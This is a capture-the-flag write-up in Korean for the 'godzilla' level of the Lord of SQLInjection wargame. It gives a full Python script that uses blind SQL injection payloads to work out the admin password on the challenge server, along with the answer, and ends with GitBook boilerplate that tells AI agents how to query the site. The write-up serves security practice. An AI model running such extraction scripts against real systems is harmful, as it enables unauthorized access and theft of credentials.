> For the complete documentation index, see [llms.txt](https://docs.cooku222.kr/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.cooku222.kr/security/web-hacking/lord-of-sql-injection/lord-of-sqlinjection-godzilla.md).

# \[Lord Of SQLInjection] godzilla

<figure><img src="https://blog.kakaocdn.net/dna/XFdtw/btsNB49jLXQ/AAAAAAAAAAAAAAAAAAAAAKxJeYiDIoMf0OVfGqZaGu6pzW7GN2i0dHpm-5fVBFsG/img.png?credential=yqXZFxpELC7KVnFOS48ylbz2pIh7yKj8&#x26;expires=1782831599&#x26;allow_ip=&#x26;allow_referer=&#x26;signature=0Y3Z6PMp%2BHCGH0K0mlSNkUaHKMs%3D" alt="" height="347" width="626"><figcaption></figcaption></figure>

#### **특징**

* blind injection
* admin의 pw를 알아내는 문제

-> Brute Force 코드를 작성

```
import requests

#쿠키 설정
cookies = {'PHPSESSID': '쿠키 값'}

#기본 설정
password = ""
length = 1

#pw길이 구하기
while(1) :
    parameter = "?id='<@=1 or id='admin' and length(pw)="+str(length)+"-- -"
    
    url = 'https://modsec.rubiya.kr/chall/godzilla_799f2ae774c76c0bfd8429b8d5692918.php' + parameter
        
    res = requests.get(url=url, timeout = 10, cookies=cookies)
        
    search = "Hello admin"
    result = res.text.find(search)
    
    length = length + 1
        
    if result != -1 :
        break

print("length : "+str(length - 1))

#pw 구하기
for i in range(0, length) :
    for j in range(48,127) :
        parameter = "?id='<@=1 or id='admin' and ascii(substr(pw,"+str(i)+",1))="+str(j)+"-- -"
        
        url = 'https://modsec.rubiya.kr/chall/godzilla_799f2ae774c76c0bfd8429b8d5692918.php' + parameter
        
        res = requests.get(url=url, timeout = 10, cookies=cookies)
        
        search = "Hello admin"
        result = res.text.find(search)
        
        if result != -1 : 
            print(str(i)+" : "+chr(j))
            password = password + chr(j)
            break
        
print("password : "+password)
```

\=> 답 : a18a6cc5

&#x20;

<figure><img src="https://blog.kakaocdn.net/dna/cFlONh/btsNDagEox1/AAAAAAAAAAAAAAAAAAAAAMCRY6W4ww8P3MV-EAHS9pV7gn0tHJN3XH7GzdXfW9ai/img.png?credential=yqXZFxpELC7KVnFOS48ylbz2pIh7yKj8&#x26;expires=1782831599&#x26;allow_ip=&#x26;allow_referer=&#x26;signature=9vwgHIkplHTXlWWZppJMLSAl1zI%3D" alt="" height="413" width="629"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://docs.cooku222.kr/security/web-hacking/lord-of-sql-injection/lord-of-sqlinjection-godzilla.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
